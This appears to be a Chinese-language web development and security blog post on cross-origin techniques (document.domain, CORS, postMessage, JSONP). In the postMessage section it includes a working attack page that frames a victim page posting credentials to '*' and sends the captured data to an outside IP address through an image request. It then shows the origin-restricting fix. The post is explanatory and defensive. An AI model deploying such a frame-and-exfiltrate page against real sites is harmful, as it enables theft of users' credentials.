常见解决跨域问题的方案
在web开方中,解决跨域问题最常见的方法有:
- document.domain+iframe(子域名代理)
- jsonp实现跨域
- CORS跨域资源共享
- postMessage实现跨域
1、document.domain+iframe(子域名代理)
.对于主域相同而子域不同的情况,可以通过设置document.domain的办法来解决。
如:对于两个文件http://www.123.com/a.html和http://blog.123.com/b.html均加上设置document.domain = ‘123.com’;然后在a.html文件中创建一个iframe,通过iframe两个js文件即可交互数据:
看下hosts文件配置:
不满足同源策略的要求,因为属于不同主机。
b.html 的内容是111111111111
首先,我们要明确同源策略只作用在实现了同源策略的WEB客户端上。 虽然笔者不常用百度,但是我们来看一个具有误导性的结论:百度词条对于同源策略的解释说“只有和目标同源的脚本才会被执行”,这是不对的,同源策略没有禁止脚本的执行,而是禁止读取HTTP回复。 更正了这个概念之后,我们会发现,SOP其实在防止CSRF上作用非常有限,CSRF的请求往往在发送出去的那一瞬间就已经达到了攻击的目的,比如发送了一段敏感数据,或请求了一个具体的功能,是否能读取回复并不那么重要(唯一的作用是可以防止CSRF请求读取异源的授权Token)。 另外,一般静态资源通常不受同源策略限制,如js/css/jpg/png等。
被同源策略拦截。
看network选项卡。这就验证了这句话:同源策略没有禁止脚本的执行,而是禁止读取HTTP回复。也就是说http请求发出去了。但是收到的http回复。被浏览器拦截了。
b.html页面的控制台:
a.html的控制台。实现了跨域访问。
2.跨域资源共享(CORS)
3.postMessage发送消息
www.123.com/a.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Html5 postMessage</title> <style> #otherWin { 600px; height: 400px; background-color: #cccccc; } </style> </head> <body> <button id="btn">open</button> <button id="send">send</button> <!-- 通过 iframe 嵌入子页面(接收消息目标窗口) --> <iframe src="http://blog.123.com/b.html" id="otherWin"></iframe> <br/><br/> <input type="text" id="message"><input type="button" value="Send to child.com" id="sendMessage" /> <script> window.onload = function() { var btn = document.getElementById('btn'); var btn_send = document.getElementById('send'); var sendBtn = document.getElementById('sendMessage'); var win; btn.onclick = function() { //通过window.open打开接收消息目标窗口 win = window.open('http://blog.123.com/b.html', 'popUp'); } btn_send.onclick = function() { // 通过 postMessage 向子窗口发送数据 win.postMessage('Hello', 'http://blog.123.com/'); } function sendIt(e){ // 通过 postMessage 向子窗口发送数据 document.getElementById("otherWin").contentWindow .postMessage( document.getElementById("message").value, "http://blog.123.com/"); } sendBtn.onclick = function(e) { sendIt(e); }; }; </script> </body> </html>
blog.123.com/b.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Html5 postMessage</title> <style> #txt { 500px; height: 300px; background-color: #cccccc; } </style> </head> <body> <h1>The New Window</h1> <div id="txt"></div> <script> window.onload = function() { var text = document.getElementById('txt'); //监听函数,接收一个参数--Event事件对象 function receiveMsg(e) { console.log("Got a message!"); console.log("nMessage: " + e.data); console.log("nOrigin: " + e.origin); text.innerHTML = "Got a message!<br>" + "Message: " + e.data + "<br>Origin: " + e.origin; } if (window.addEventListener) { //为window注册message事件并绑定监听函数 window.addEventListener('message', receiveMsg, false); }else { window.attachEvent('message', receiveMsg); } }; </script> </body> </html>
当点击send的时候blog.123.com会接收到www.123.com发来的消息
Postmessage伪造数据接收端,获取用户敏感信息。
因为postMessage()
接受两个参数,第一个参数为向另外一个窗口传递的数据(只能传字符串类型),
第二个参数表示目标窗口的源,协议+主机+端口号,是为了安全考虑,如果设置为*
,则表示可以传递给任意窗口。
所以黑客可以伪造父窗口,从而劫持子窗口存储的用户信息。
child.html
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>User info center</title> <script type="text/JavaScript"> var userinfo="username:afanti,password:afanti"; //敏感信息 window.parent.postMessage(userinfo, "*"); </script> </head> <body> Web page from http://127.0.0.1 </body> </html>
attack.html
<script type="text/JavaScript"> onmessage = function( event ) { if(event.origin == "http://127.0.0.1"){ var img=new Image(); img.src='http://121.195.170.159:7999/?userinfo='+event.data; //将敏感信息发送给服务器。 document.getElementById("otherPage").appendChild(img); } }; </script> <iframe src="http://127.0.0.1/ajax/child.html" id="otherPage"></iframe>
访问attack.html
将域名限制到本域防御:
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>User info center</title> <script type="text/JavaScript"> var userinfo="username:afanti,password:afanti"; window.parent.postMessage(userinfo, "http://127.0.0.1"); //这里修改了。 </script> </head> <body> Web page from http://127.0.0.1 </body> </html>
子窗口的敏感数据就不会发送到,www.123.com域上了。
4、jsonp
下面这个实验是www.123.com:81和www.123.com不是同域,但是script标签可以跨域请求,而jsonp说白了。就是通过script标签跨域并把请求跨域的数据调用的函数传给后端callback参数,后端将返回数据。并且拼接好前台的调用格式,eg:dosomething(["a","b","c"]),从而前台直接处理。
参考连接:
http://blog.codingplayboy.com/2016/03/05/web_cross_origin/
http://blog.codingplayboy.com/2016/03/16/h5_postmessage/